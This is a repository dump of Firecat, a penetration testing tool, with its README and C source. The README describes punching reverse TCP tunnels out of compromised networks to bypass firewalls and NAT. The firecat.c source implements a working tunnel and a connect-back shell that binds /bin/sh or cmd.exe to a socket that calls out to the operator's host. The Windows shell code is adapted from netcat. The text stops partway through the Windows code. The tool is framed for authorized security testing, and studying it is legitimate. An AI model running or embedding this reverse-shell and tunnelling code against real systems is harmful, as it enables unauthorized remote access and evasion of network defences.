├── Makefile ├── BishopFox-Tools-Firecat-Overview_Guide.pdf ├── .gitignore ├── README.md └── firecat.c /Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc -Wall firecat.c -o firecat 3 | 4 | clean: 5 | rm -f firecat 6 | -------------------------------------------------------------------------------- /BishopFox-Tools-Firecat-Overview_Guide.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BishopFox/firecat/HEAD/BishopFox-Tools-Firecat-Overview_Guide.pdf -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Object files 2 | *.o 3 | *.ko 4 | *.obj 5 | *.elf 6 | 7 | # Libraries 8 | *.lib 9 | *.a 10 | 11 | # Shared objects (inc. Windows DLLs) 12 | *.dll 13 | *.so 14 | *.so.* 15 | *.dylib 16 | 17 | # Executables 18 | *.exe 19 | *.out 20 | *.app 21 | *.i*86 22 | *.x86_64 23 | *.hex 24 | 25 | # Application binary 26 | firecat 27 | 28 | # Deleted Files 29 | *~ 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | firecat 2 | ======= 3 | 4 | For more info, see: 5 | http://www.bishopfox.com/resources/tools/other-free-tools/firecat/ 6 | 7 | Firecat is a penetration testing tool that allows you to punch reverse TCP tunnels out of a compromised network. After a tunnel is established, you can connect from an external host to any port on any system inside the compromised network, even if the network is behind a NAT gateway and/or strict firewall. This can be useful for a number of purposes, including gaining Remote Desktop access to the internal network NAT’d IP address (e.g. 192.168.1.10) of a compromised web server. 8 | 9 | 10 | ## Install 11 | Firecat is written in C and has been tested on Linux, Solaris, iOS, Mac OS X, and Windows XP/Vista/2k/2k3/2k8. 12 | 13 | To compile on Windows using MinGW: 14 | gcc –o firecat.exe firecat.c –lwsock32 15 | To compile on Unix: 16 | gcc –o firecat firecat.c 17 | 18 | 19 | ## Usage 20 | ![Firecat - Usage](http://www.bishopfox.com/wp-content/uploads/2013/09/Firecat-Cmdline_Usage.png) 21 | 22 | ## How does it work? 23 | Flashback a decade or so and you will recall that it was common to find hosts that were not firewalled properly (or at all) from the Internet. You could compromise a host, bind shellcode to a port, and use netcat or some other tool to take interactive command-line control of the target. 24 | 25 | These days things are different. It is often the case that TCP/IP packets destined for a host are strictly filtered by ingress firewall rules. Often matters are further complicated by the fact that the target host is located behind a NAT gateway: 26 | 27 | ![Firecat - 1](http://www.bishopfox.com/wp-content/uploads/2013/09/Firecat-1.png) 28 | 29 | Tight firewall rules reduce the attack surface of the target environment, but attacks such as SQL injection still make it possible to execute arbitrary code on even the most strictly firewalled servers. However, unless the consultant can also take control of the firewall and alter the ruleset, it is impossible to connect directly to internal network services other than those allowed by the firewall. 30 | 31 | That’s where Firecat comes in to play. Assuming you can execute commands on a host in a DMZ and further assuming that the host can initiate outbound TCP/IP connections to the consultant’s computer, Firecat makes it possible for the consultant to connect to any port on the target host, and often any port on any host inside the DMZ. It does this by creating a reverse TCP tunnel through the firewall and using the tunnel to broker arbitrary TCP connections between the consultant and hosts in the target environment. In addition to creating arbitrary TCP/IP tunnels into DMZ networks, it can also be used to pop connect-back shells from compromised DMZ hosts such as web or SQL servers. 32 | 33 | It works because the target system is the one that initiates the TCP connection back to the consultant, not the other way around. Firecat runs in “target” mode on the target, and “consultant” mode on the consultant’s system, effectively creating a tunnel between the two endpoints. Once the tunnel is established, the consultant connects to their local Firecat daemon which instructs the remote Firecat daemon to initiate a connection to the desired host/port behind the firewall. The two Firecat daemons then tunnel the data between the consultant and the target to create a seamless, transparent bridge between the two systems; thus completely bypassing the firewall rules. Firecat even works on hosts behind NAT firewalls. 34 | 35 | Broken down into logical steps, and using the IP addresses in the diagrams, the process works as follows: 36 | 37 | 1. Firecat (consultant) listens on 202.1.1.1:4444 38 | 2. Firecat (target) connects to 202.1.1.1:4444 39 | ![Firecat - 2](http://www.bishopfox.com/wp-content/uploads/2013/09/Firecat-2.png) 40 | 3. A tunnel is established between the two hosts 41 | 4. Firecat (consultant) listens on 202.1.1.1:3389 42 | 5. Consultant connects a remote desktop client to 202.1.1.1:3389 43 | 6. Firecat (consultant) tells Firecat (target) that a new session has been started 44 | 7. Firecat (target) connects to 192.168.0.1:3389 45 | 8. Firecat (target) tells Firecat (consultant) that it’s now connected locally 46 | 9. Both Firecat instances begin to tunnel data between the consultant’s remote desktop client and the target’s remote desktop server, making it appear to the remote desktop client that it is directly connected to the target. 47 | ![Firecat - 3](http://www.bishopfox.com/wp-content/uploads/2013/09/Firecat-3.png) 48 | -------------------------------------------------------------------------------- /firecat.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Firecat 3 | * Copyright (C) 2008-2011 Stach & Liu LLC 4 | * 5 | * Firecat allows you to punch reverse TCP tunnels out of a compromised host, 6 | * enabling you to connect to arbitrary host/ports on the target network regardless of 7 | * ingress firewall rules. 8 | * 9 | * It incorporates code from netcat for Windows, specifically the "-e" command execution code. 10 | * 11 | */ 12 | #define VERSION "1.6" 13 | 14 | #include 15 | #ifdef __WIN32__ 16 | #include 17 | #define _INC_WINDOWS 18 | #include 19 | #include 20 | #define SHUT_RDWR SD_BOTH 21 | #else 22 | #include 23 | #include 24 | #include 25 | #include 26 | #ifdef _POSIX_VERSION 27 | #if _POSIX_VERSION >= 200112L 28 | #include 29 | #endif 30 | #endif 31 | #endif 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | 40 | #ifdef __WIN32__ 41 | #define CMD_SHELL "c:\\windows\\system32\\cmd.exe" 42 | #else 43 | #define CMD_SHELL "/bin/sh" 44 | #endif 45 | 46 | #ifndef max 47 | int max(const int x, const int y) { 48 | return (x > y) ? x : y; 49 | } 50 | #endif 51 | 52 | #define BUF_SIZE 1024 53 | #define DOEXEC_BUFFER_SIZE 200 // twiddle for windows doexec stuff. ctrl-f for "nc111nt.zip" 54 | 55 | enum MODES { CONSULTANT_MODE, TARGET_MODE }; 56 | extern char *optarg; 57 | extern int optind, opterr, optopt; 58 | char *pr00gie=NULL; // from nc111nt. see doexec stuff, below. 59 | const char *usageString = "" 60 | "FireCat v"VERSION" - Copyright 2008-2011 Stach & Liu\n\n" \ 61 | "Usage: firecat -m [options]\n\n" \ 62 | " -m 0 = consultant, 1 = target\n\n" \ 63 | "In consultant mode:\n\n" \ 64 | " -t Wait for incoming connections from target on this port\n" \ 65 | " -s Wait for incoming connections from you on this port\n" \ 66 | " Connections to this port will be forwarded over tunnel\n\n" \ 67 | "In target mode:\n\n" \ 68 | " -h Connect back to (your IP)\n" \ 69 | " -t Connect back to TCP on \n" \ 70 | " -H (optional) Connect to inside the target network\n" \ 71 | " Default: localhost\n" 72 | " -e Throw a connect-back shell to : on your box\n" \ 73 | " or\n" \ 74 | " -s Create a tunnel to : inside the target network\n\n"; 75 | 76 | void usage(void) { 77 | puts(usageString); 78 | } 79 | 80 | int do_consultant(const int tunnelPort, const int servicePort); 81 | int do_target(const char *consultantHost, const char *targetHost, const int tunnelPort, const int servicePort); 82 | int listen_socket(const int listen_port); 83 | int connect_socket(const int connect_port, const char *address); 84 | int shovel_data(const int fd1, const int fd2); 85 | void close_sock(const int fd); 86 | #ifdef __WIN32__ 87 | BOOL doexec(SOCKET ClientSocket); 88 | #else 89 | void doexec(int sock); 90 | #endif 91 | 92 | /************************* 93 | * main 94 | */ 95 | int main(int argc, char **argv) { 96 | int opt, retVal; 97 | char consultantHost[BUF_SIZE]; 98 | char targetHost[BUF_SIZE]; 99 | int tunnelPort = 0, servicePort = 0, mode = 0xff; 100 | 101 | memset(consultantHost, 0, BUF_SIZE); 102 | memset(targetHost, 0, BUF_SIZE); 103 | strncpy(targetHost, "localhost", BUF_SIZE); 104 | 105 | // parse commandline 106 | while((opt = getopt(argc, argv, "m:t:s:h:H:e")) != -1) { 107 | switch(opt) { 108 | case 'm': 109 | mode = (int)strtol(optarg, NULL, 10); 110 | if(mode != 0 && mode != 1) { 111 | usage(); 112 | exit(1); 113 | } 114 | break; 115 | case 't': 116 | tunnelPort = (int)strtol(optarg, NULL, 10); 117 | break; 118 | case 's': 119 | servicePort = (int)strtol(optarg, NULL, 10); 120 | break; 121 | case 'H': 122 | strncpy(targetHost, optarg, BUF_SIZE); 123 | break; 124 | case 'h': 125 | strncpy(consultantHost, optarg, BUF_SIZE); 126 | break; 127 | case 'e': 128 | pr00gie=strdup(CMD_SHELL); 129 | break; 130 | default: 131 | usage(); 132 | exit(1); 133 | break; 134 | } 135 | } 136 | 137 | // Windows requires extra fiddling 138 | #ifdef __WIN32__ 139 | WORD wVersionRequested; 140 | WSADATA wsaData; 141 | wVersionRequested = MAKEWORD( 1, 1 ); 142 | WSAStartup( wVersionRequested, &wsaData ); 143 | #endif 144 | 145 | // In consultant 146 | if(mode == CONSULTANT_MODE) { 147 | if(!tunnelPort || !servicePort) { 148 | usage(); 149 | exit(1); 150 | } 151 | retVal = do_consultant(tunnelPort, servicePort); 152 | } else if(mode == TARGET_MODE) { 153 | if(!(tunnelPort && (servicePort || pr00gie)) || !consultantHost[0] || (servicePort && pr00gie)) { 154 | usage(); 155 | exit(1); 156 | } 157 | retVal = do_target(consultantHost, targetHost, tunnelPort, servicePort); 158 | } else { 159 | usage(); 160 | exit(1); 161 | } 162 | 163 | exit(retVal); 164 | } 165 | 166 | /**************************** 167 | * do_consultant() 168 | * 169 | * Waits for a connection from the target on port 'tunnelPort'. 170 | * Once received, waits for connection from local client on port 'servicePort'. 171 | * Once received, shovels bytes between the two endpoints. 172 | */ 173 | int do_consultant(const int tunnelPort, const int servicePort) { 174 | int tunnelSock, serviceSock, targetSock, clientSock; 175 | unsigned int i; 176 | struct sockaddr_in targetAddr, clientAddr; 177 | char buf[BUF_SIZE + 1]; 178 | 179 | // wait for connection from the remote target host 180 | if((tunnelSock = listen_socket(tunnelPort)) == -1) 181 | return 1; 182 | i = sizeof(targetAddr); 183 | printf("Consultant: Waiting for the remote target to establish the tunnel on port %d\n",tunnelPort); 184 | if((targetSock = accept(tunnelSock, (struct sockaddr *)&targetAddr, &i)) == -1) { 185 | perror("ERROR: accept()"); 186 | return 1; 187 | } 188 | printf("Consultant: Got connection from remote target %s\n", inet_ntoa(targetAddr.sin_addr)); 189 | 190 | // wait for an 'OK' from the target 191 | printf("Consultant: Waiting for ACK...\n"); 192 | if(recv(targetSock, buf, 2, 0) == -1) { 193 | perror("ERROR: recv()"); 194 | return 1; 195 | } 196 | 197 | if(buf[0] != 'O' || buf[1] != 'K') { 198 | printf("ERROR: Failed to acknowledge tunnel\n"); 199 | return 1; 200 | } 201 | printf("Consultant: Received ACK, tunnel is established\n"); 202 | 203 | // ok, tunnel is up and running 204 | // wait for connection from the local client program before sending an OK down the tunnel 205 | if((serviceSock = listen_socket(servicePort)) == -1) 206 | return 1; 207 | i = sizeof(clientAddr); 208 | 209 | printf("Consultant: Tunnel is now up on localhost:%d\n", servicePort); 210 | printf(" Connections will be forwarded to target host.\n"); 211 | if((clientSock = accept(serviceSock,(struct sockaddr *) &clientAddr, &i)) == -1) { 212 | perror("ERROR: accept()"); 213 | return 1; 214 | } 215 | printf("Consultant: Got connection from local client %s\n", inet_ntoa(clientAddr.sin_addr)); 216 | printf("Consultant: Telling remote target host...\n"); 217 | 218 | // send an 'OK' 219 | if(send(targetSock, "OK", 2, 0) == -1) { 220 | perror("ERROR: send()"); 221 | return 1; 222 | } 223 | printf("Consultant: Wo0t! You are connected. Shovelling data... press CTRL-C to abort\n"); 224 | 225 | // shovel data between the client and the target 226 | return shovel_data(targetSock, clientSock); 227 | } 228 | 229 | /*********************** 230 | * do_target() 231 | * 232 | * Connects to the consultant's machine on port 'tunnelPort' 233 | * Once established, waits for an 'OK' that signifies the client has connected. 234 | * Once received, connects locally to the port specified by 'servicePort' 235 | * and shovels bits across the tunnel between the client program and the local service port. 236 | */ 237 | int do_target(const char *consultantHost, const char *targetHost, const int tunnelPort, const int servicePort) { 238 | int tunnelSock, serviceSock; 239 | char buf[BUF_SIZE]; 240 | 241 | // connect to the consultant's host 242 | printf("Target: Establishing tunnel with remote host on %s:%d\n", consultantHost, tunnelPort); 243 | if((tunnelSock = connect_socket(tunnelPort, consultantHost)) == -1) 244 | return 1; 245 | 246 | // send an ACK 247 | if(send(tunnelSock, "OK", 2, 0) == -1) { 248 | perror("ERROR: send()"); 249 | return 1; 250 | } 251 | printf("Target: Tunnel is up, waiting for client to connect on remote end...\n"); 252 | 253 | // wait for an ACK from the consultant before connecting to the local service 254 | if(recv(tunnelSock, buf, 2, 0) == -1) { 255 | perror("ERROR: recv()"); 256 | return 1; 257 | } 258 | if(buf[0] != 'O' || buf[1] != 'K') { 259 | printf("ERROR: Failed to acknowledge tunnel\n"); 260 | return 1; 261 | } 262 | printf("Target: Client has connected on the remote end\n"); 263 | 264 | // spawn a connect-back shell if needed 265 | if(pr00gie) { 266 | doexec(tunnelSock); 267 | return 1; // we only hit this on exec() throwing an error 268 | } 269 | 270 | // if we're not spawning a shell we must be building a tunnel. Let's do it! 271 | // connect to local service 272 | printf("Target: Connecting to local service port %d\n", servicePort); 273 | if((serviceSock = connect_socket(servicePort, targetHost)) == -1) 274 | return 1; 275 | printf("Target: Connected to service port %s:%d\n", targetHost, servicePort); 276 | printf("Target: Shovelling data across the tunnel...\n"); 277 | 278 | // shovel data between the client and the target 279 | return shovel_data(tunnelSock, serviceSock); 280 | } 281 | 282 | #ifndef __WIN32__ 283 | /************************ 284 | * doexec() 285 | * 286 | * For *nix - redirects stdin, stdout, stderr to the tunnel socket 287 | * and then spawns a command shell. 288 | * Based on code from netcat. 289 | */ 290 | void doexec(int sock) { 291 | char *p=pr00gie; 292 | 293 | dup2(sock, 0); 294 | close(sock); 295 | dup2(0, 1); 296 | dup2(0, 2); 297 | if((p=strrchr(pr00gie, '/'))) 298 | p++; 299 | execl(pr00gie, p, NULL); 300 | } 301 | #endif 302 | 303 | /************************ 304 | * shovel_data() 305 | * 306 | * Data forwarding code that performs bidirectional tunneling between two end point sockets. 307 | */ 308 | int shovel_data(const int fd1, const int fd2) { 309 | fd_set rd, wr, er; 310 | char c, buf1[BUF_SIZE], buf2[BUF_SIZE]; 311 | int r, nfds; 312 | int buf1_avail = 0, buf1_written = 0; 313 | int buf2_avail = 0, buf2_written = 0; 314 | 315 | // Loop forever. This requires a CTRL-C or disconnected socket to abort. 316 | while(1) { 317 | // ensure things are sane each time around 318 | nfds = 0; 319 | FD_ZERO(&rd); 320 | FD_ZERO(&wr); 321 | FD_ZERO(&er); 322 | 323 | // setup the arrays for monitoring OOB, read, and write events on the 2 sockets 324 | if(buf1_avail < BUF_SIZE) { 325 | FD_SET(fd1, &rd); 326 | nfds = max(nfds, fd1); 327 | } 328 | if(buf2_avail < BUF_SIZE) { 329 | FD_SET(fd2, &rd); 330 | nfds = max(nfds, fd2); 331 | } 332 | if((buf2_avail - buf2_written) > 0) { 333 | FD_SET(fd1, &wr); 334 | nfds = max(nfds, fd1); 335 | } 336 | if((buf1_avail - buf1_written) > 0) { 337 | FD_SET(fd2, &wr); 338 | nfds = max(nfds, fd2); 339 | } 340 | FD_SET(fd1, &er); 341 | nfds = max(nfds, fd1); 342 | FD_SET(fd2, &er); 343 | nfds = max(nfds, fd2); 344 | 345 | // wait for something interesting to happen on a socket, or abort in case of error 346 | if(select(nfds + 1, &rd, &wr, &er, NULL) == -1) 347 | return 1; 348 | 349 | // OOB data ready 350 | if(FD_ISSET(fd1, &er)) { 351 | if(recv(fd1, &c, 1, MSG_OOB) < 1) { 352 | return 1; 353 | } else { 354 | if(send(fd2, &c, 1, MSG_OOB) < 1) { 355 | perror("ERROR: send()"); 356 | return 1; 357 | } 358 | } 359 | } 360 | if(FD_ISSET(fd2, &er)) { 361 | if(recv(fd2, &c, 1, MSG_OOB) < 1) { 362 | return 1; 363 | } else { 364 | if(send(fd1, &c, 1, MSG_OOB) < 1) { 365 | perror("ERROR: send()"); 366 | return 1; 367 | } 368 | } 369 | } 370 | 371 | // Data ready to read from socket(s) 372 | if(FD_ISSET(fd1, &rd)) { 373 | if((r = recv(fd1, buf1 + buf1_avail, BUF_SIZE - buf1_avail, 0)) < 1) 374 | return 1; 375 | else 376 | buf1_avail += r; 377 | } 378 | if(FD_ISSET(fd2, &rd)) { 379 | if((r = recv(fd2, buf2 + buf2_avail, BUF_SIZE - buf2_avail, 0)) < 1) 380 | return 1; 381 | else 382 | buf2_avail += r; 383 | } 384 | 385 | // Data ready to write to socket(s) 386 | if(FD_ISSET(fd1, &wr)) { 387 | if((r = send(fd1, buf2 + buf2_written, buf2_avail - buf2_written, 0)) < 1) 388 | return 1; 389 | else 390 | buf2_written += r; 391 | } 392 | if(FD_ISSET(fd2, &wr)) { 393 | if((r = send(fd2, buf1 + buf1_written, buf1_avail - buf1_written, 0)) < 1) 394 | return 1; 395 | else 396 | buf1_written += r; 397 | } 398 | // Check to ensure written data has caught up with the read data 399 | if(buf1_written == buf1_avail) 400 | buf1_written = buf1_avail = 0; 401 | if(buf2_written == buf2_avail) 402 | buf2_written = buf2_avail = 0; 403 | } 404 | } 405 | 406 | /************************ 407 | * listen_socket() 408 | * 409 | * Sets up a socket, bind()s it to all interfaces, then listen()s on it. 410 | * Returns a valid socket, or -1 on failure 411 | */ 412 | int listen_socket(const int listen_port) 413 | { 414 | struct sockaddr_in a; 415 | int s; 416 | int yes = 1; 417 | 418 | // get a fresh juicy socket 419 | if((s = socket(PF_INET, SOCK_STREAM, 0)) < 0) { 420 | perror("ERROR: socket()"); 421 | return -1; 422 | } 423 | 424 | // make sure it's quickly reusable 425 | if(setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (char *) &yes, sizeof(yes)) < 0) { 426 | perror("ERROR: setsockopt()"); 427 | close(s); 428 | return -1; 429 | } 430 | 431 | // listen on all of the hosts interfaces/addresses (0.0.0.0) 432 | memset(&a, 0, sizeof(a)); 433 | a.sin_port = htons(listen_port); 434 | a.sin_addr.s_addr = htonl(INADDR_ANY); 435 | a.sin_family = AF_INET; 436 | if(bind(s, (struct sockaddr *) &a, sizeof(a)) < 0) { 437 | perror("ERROR: bind()"); 438 | close(s); 439 | return -1; 440 | } 441 | listen(s, 10); 442 | return s; 443 | } 444 | 445 | /***************** 446 | * connect_socket() 447 | * 448 | * Connects to a remote host:port and returns a valid socket if successful. 449 | * Returns -1 on failure. 450 | */ 451 | int connect_socket(const int connect_port, const char *address) { 452 | struct sockaddr_in a; 453 | struct hostent *ha; 454 | int s; 455 | 456 | // get a fresh juicy socket 457 | if((s = socket(PF_INET, SOCK_STREAM, 0)) < 0) { 458 | perror("ERROR: socket()"); 459 | close(s); 460 | return -1; 461 | } 462 | 463 | // clear the sockaddr_in structure 464 | memset(&a, 0, sizeof(a)); 465 | a.sin_port = htons(connect_port); 466 | a.sin_family = AF_INET; 467 | 468 | // get IP from host name, if appropriate 469 | if((ha = gethostbyname(address)) == NULL) { 470 | perror("ERROR: gethostbyname()"); 471 | return -1; 472 | } 473 | if(ha->h_length == 0) { 474 | printf("ERROR: No addresses for %s. Aborting.\n", address); 475 | return -1; 476 | } 477 | memcpy(&a.sin_addr, ha->h_addr_list[0], ha->h_length); 478 | 479 | // connect to the remote host 480 | if(connect(s, (struct sockaddr *) &a, sizeof(a)) < 0) { 481 | perror("ERROR: connect()"); 482 | shutdown(s, SHUT_RDWR); 483 | close(s); 484 | return -1; 485 | } 486 | 487 | // w00t, it worked. 488 | return s; 489 | } 490 | 491 | // this deals with windows' broken dup() system. 492 | // all this for a little dup2, dup2, exec? dang. 493 | #ifdef __WIN32__ 494 | 495 | /************************* 496 | * Everything below here is taken from doexec.c in the nc111nt.zip version of netcat for Windows. 497 | * I've included license.txt from the original archive. 498 | */ 499 | 500 | // for license see license.txt 501 | 502 | // Modified 5/4/2011 by Carl Livitt 503 | // twiddled it to work as copy pasta inside firecat 504 | 505 | // Modified 12/27/2004 by Chris Wysopal 506 | // fixed vulnerability found by hat-squad 507 | 508 | // portions Copyright (C) 1994 Nathaniel W. Mishkin 509 | // code taken from rlogind.exe 510 | 511 | void holler(char * str, char * p1, char * p2, char * p3, char * p4, char * p5, char * p6); 512 | char *winsockstr(int error); 513 | char smbuff[20]; 514 | // 515 | // Structure used to describe each session 516 | // 517 | typedef struct { 518 | 519 | // 520 | // These fields are filled in at session creation time 521 | // 522 | HANDLE ReadPipeHandle; // Handle to shell stdout pipe 523 | HANDLE WritePipeHandle; // Handle to shell stdin pipe 524 | HANDLE ProcessHandle; // Handle to shell process 525 | 526 | // 527 | // 528 | // These fields are filled in at session connect time and are only 529 | // valid when the session is connected 530 | // 531 | SOCKET ClientSocket; 532 | HANDLE ReadShellThreadHandle; // Handle to session shell-read thread 533 | HANDLE WriteShellThreadHandle; // Handle to session shell-read thread 534 | 535 | } SESSION_DATA, *PSESSION_DATA; 536 | 537 | 538 | // 539 | // Private prototypes 540 | // 541 | 542 | static HANDLE 543 | StartShell( 544 | HANDLE StdinPipeHandle, 545 | HANDLE StdoutPipeHandle 546 | ); 547 | 548 | static VOID 549 | SessionReadShellThreadFn( 550 | LPVOID Parameter 551 | ); 552 | 553 | static VOID 554 | SessionWriteShellThreadFn( 555 | LPVOID Parameter 556 | ); 557 | 558 | 559 | 560 | // ********************************************************************** 561 | // 562 | // CreateSession 563 | // 564 | // Creates a new session. Involves creating the shell process and establishing 565 | // pipes for communication with it. 566 | // 567 | // Returns a handle to the session or NULL on failure. 568 | // 569 | 570 | static PSESSION_DATA 571 | CreateSession( 572 | VOID 573 | ) 574 | { 575 | PSESSION_DATA Session = NULL; 576 | BOOL Result; 577 | SECURITY_ATTRIBUTES SecurityAttributes; 578 | HANDLE ShellStdinPipe = NULL; 579 | HANDLE ShellStdoutPipe = NULL; 580 | 581 | // 582 | // Allocate space for the session data 583 | // 584 | Session = (PSESSION_DATA) malloc(sizeof(SESSION_DATA)); 585 | if (Session == NULL) { 586 | return(NULL); 587 | } 588 | 589 | // 590 | // Reset fields in preparation for failure 591 | // 592 | Session->ReadPipeHandle = NULL; 593 | Session->WritePipeHandle = NULL; 594 | 595 | 596 | // 597 | // Create the I/O pipes for the shell 598 | // 599 | SecurityAttributes.nLength = sizeof(SecurityAttributes); 600 | SecurityAttributes.lpSecurityDescriptor = NULL; // Use default ACL 601 | SecurityAttributes.bInheritHandle = TRUE; // Shell will inherit handles 602 | 603 | Result = CreatePipe(&Session->ReadPipeHandle, &ShellStdoutPipe, 604 | &SecurityAttributes, 0); 605 | if (!Result) { 606 | holler("Failed to create shell stdout pipe, error = %s", 607 | itoa(GetLastError(), smbuff, 10), NULL, NULL, NULL, NULL, NULL); 608 | goto Failure; 609 | } 610 | Result = CreatePipe(&ShellStdinPipe, &Session->WritePipeHandle, 611 | &SecurityAttributes, 0); 612 | 613 | if (!Result) { 614 | holler("Failed to create shell stdin pipe, error = %s", 615 | itoa(GetLastError(), smbuff, 10), NULL, NULL, NULL, NULL, NULL); 616 | goto Failure; 617 | } 618 | // 619 | // Start the shell 620 | // 621 | Session->ProcessHandle = StartShell(ShellStdinPipe, ShellStdoutPipe); 622 | 623 | // 624 | // We're finished with our copy of the shell pipe handles 625 | // Closing the runtime handles will close the pipe handles for us. 626 | // 627 | CloseHandle(ShellStdinPipe); 628 | CloseHandle(ShellStdoutPipe); 629 | 630 | // 631 | // Check result of shell start 632 | // 633 | if (Session->ProcessHandle == NULL) { 634 | holler("Failed to execute shell", NULL, 635 | NULL, NULL, NULL, NULL, NULL); 636 | 637 | goto Failure; 638 | } 639 | 640 | // 641 | // The session is not connected, initialize variables to indicate that 642 | // 643 | Session->ClientSocket = INVALID_SOCKET; 644 | 645 | // 646 | // Success, return the session pointer as a handle 647 | // 648 | return(Session); 649 | 650 | Failure: 651 | 652 | // 653 | // We get here for any failure case. 654 | // Free up any resources and exit 655 | // 656 | 657 | if (ShellStdinPipe != NULL) 658 | CloseHandle(ShellStdinPipe); 659 | if (ShellStdoutPipe != NULL) 660 | CloseHandle(ShellStdoutPipe); 661 | if (Session->ReadPipeHandle != NULL) 662 | CloseHandle(Session->ReadPipeHandle); 663 | if (Session->WritePipeHandle != NULL) 664 | CloseHandle(Session->WritePipeHandle); 665 | 666 | free(Session); 667 | 668 | return(NULL); 669 | } 670 | 671 | 672 | 673 | BOOL 674 | doexec( 675 | SOCKET ClientSocket 676 | ) 677 | { 678 | PSESSION_DATA Session = CreateSession(); 679 | SECURITY_ATTRIBUTES SecurityAttributes; 680 | DWORD ThreadId; 681 | HANDLE HandleArray[3]; 682 | int i; 683 | 684 | SecurityAttributes.nLength = sizeof(SecurityAttributes); 685 | SecurityAttributes.lpSecurityDescriptor = NULL; // Use default ACL 686 | SecurityAttributes.bInheritHandle = FALSE; // No inheritance 687 | 688 | // 689 | // Store the client socket handle in the session structure so the thread 690 | // can get at it. This also signals that the session is connected. 691 | // 692 | Session->ClientSocket = ClientSocket; 693 | 694 | // 695 | // Create the session threads 696 | // 697 | Session->ReadShellThreadHandle = 698 | CreateThread(&SecurityAttributes, 0, 699 | (LPTHREAD_START_ROUTINE) SessionReadShellThreadFn, 700 | (LPVOID) Session, 0, &ThreadId); 701 | 702 | if (Session->ReadShellThreadHandle == NULL) { 703 | holler("Failed to create ReadShell session thread, error = %s", 704 | itoa(GetLastError(), smbuff, 10), NULL, NULL, NULL, NULL, NULL); 705 | 706 | // 707 | // Reset the client pipe handle to indicate this session is disconnected 708 | // 709 | Session->ClientSocket = INVALID_SOCKET; 710 | return(FALSE); 711 | } 712 | 713 | Session->WriteShellThreadHandle = 714 | CreateThread(&SecurityAttributes, 0, 715 | (LPTHREAD_START_ROUTINE) SessionWriteShellThreadFn, 716 | (LPVOID) Session, 0, &ThreadId); 717 | 718 | if (Session->WriteShellThreadHandle == NULL) { 719 | holler("Failed to create ReadShell session thread, error = %s", 720 | itoa(GetLastError(), smbuff, 10), NULL, NULL, NULL, NULL, NULL); 721 | 722 | // 723 | // Reset the client pipe handle to indicate this session is disconnected 724 | // 725 | Session->ClientSocket = INVALID_SOCKET; 726 | 727 | TerminateThread(Session->WriteShellThreadHandle, 0); 728 | return(FALSE); 729 | } 730 | 731 | // 732 | // Wait for either thread or the shell process to finish 733 | // 734 | 735 | HandleArray[0] = Session->ReadShellThreadHandle; 736 | HandleArray[1] = Session->WriteShellThreadHandle; 737 | HandleArray[2] = Session->ProcessHandle; 738 | 739 | 740 | i = WaitForMultipleObjects(3, HandleArray, FALSE, 0xffffffff); 741 | 742 | 743 | switch (i) { 744 | case WAIT_OBJECT_0 + 0: 745 | TerminateThread(Session->WriteShellThreadHandle, 0); 746 | TerminateProcess(Session->ProcessHandle, 1); 747 | break; 748 | 749 | case WAIT_OBJECT_0 + 1: 750 | TerminateThread(Session->ReadShellThreadHandle, 0); 751 | TerminateProcess(Session->ProcessHandle, 1); 752 | break; 753 | case WAIT_OBJECT_0 + 2: 754 | TerminateThread(Session->WriteShellThreadHandle, 0); 755 | TerminateThread(Session->ReadShellThreadHandle, 0); 756 | break; 757 | 758 | default: 759 | holler("WaitForMultipleObjects error: %s", 760 | itoa(GetLastError(), smbuff, 10), NULL, NULL, NULL, NULL, NULL); 761 | 762 | break; 763 | } 764 | 765 | 766 | // Close my handles to the threads, the shell process, and the shell pipes 767 | shutdown(Session->ClientSocket, SD_BOTH); 768 | closesocket(Session->ClientSocket); 769 | 770 | DisconnectNamedPipe(Session->ReadPipeHandle); 771 | CloseHandle(Session->ReadPipeHandle); 772 | 773 | DisconnectNamedPipe(Session->WritePipeHandle); 774 | CloseHandle(Session->WritePipeHandle); 775 | 776 | 777 | CloseHandle(Session->ReadShellThreadHandle); 778 | CloseHandle(Session->WriteShellThreadHandle); 779 | 780 | CloseHandle(Session->ProcessHandle); 781 | 782 | free(Session); 783 | 784 | return(TRUE); 785 | } 786 | 787 | 788 | // ********************************************************************** 789 | // 790 | // StartShell 791 | // 792 | // Execs the shell with the specified handle as stdin, stdout/err 793 | // 794 | // Returns process handle or NULL on failure 795 | // 796 | 797 | static HANDLE 798 | StartShell( 799 | HANDLE ShellStdinPipeHandle, 800 | HANDLE ShellStdoutPipeHandle 801 | ) 802 | { 803 | PROCESS_INFORMATION ProcessInformation; 804 | STARTUPINFO si; 805 | HANDLE ProcessHandle = NULL; 806 | 807 | // 808 | // Initialize process startup info 809 | // 810 | si.cb = sizeof(STARTUPINFO); 811 | si.lpReserved = NULL; 812 | si.lpTitle = NULL; 813 | si.lpDesktop = NULL; 814 | si.dwX = si.dwY = si.dwXSize = si.dwYSize = 0L; 815 | si.wShowWindow = SW_HIDE; 816 | si.lpReserved2 = NULL; 817 | si.cbReserved2 = 0; 818 | 819 | si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; 820 | 821 | si.hStdInput = ShellStdinPipeHandle; 822 | si.hStdOutput = ShellStdoutPipeHandle; 823 | 824 | DuplicateHandle(GetCurrentProcess(), ShellStdoutPipeHandle, 825 | GetCurrentProcess(), &si.hStdError, 826 | DUPLICATE_SAME_ACCESS, TRUE, 0); 827 | 828 | if (CreateProcess(NULL, pr00gie, NULL, NULL, TRUE, 0, NULL, NULL, 829 | &si, &ProcessInformation)) 830 | { 831 | ProcessHandle = ProcessInformation.hProcess; 832 | CloseHandle(ProcessInformation.hThread); 833 | } 834 | else 835 | holler("Failed to execute shell, error = %s", 836 | itoa(GetLastError(), smbuff, 10), NULL, NULL, NULL, NULL, NULL); 837 | 838 | 839 | return(ProcessHandle); 840 | } 841 | 842 | 843 | // ********************************************************************** 844 | // SessionReadShellThreadFn 845 | // 846 | // The read thread procedure. Reads from the pipe connected to the shell 847 | // process, writes to the socket. 848 | // 849 | 850 | static VOID 851 | SessionReadShellThreadFn( 852 | LPVOID Parameter 853 | ) 854 | { 855 | PSESSION_DATA Session = 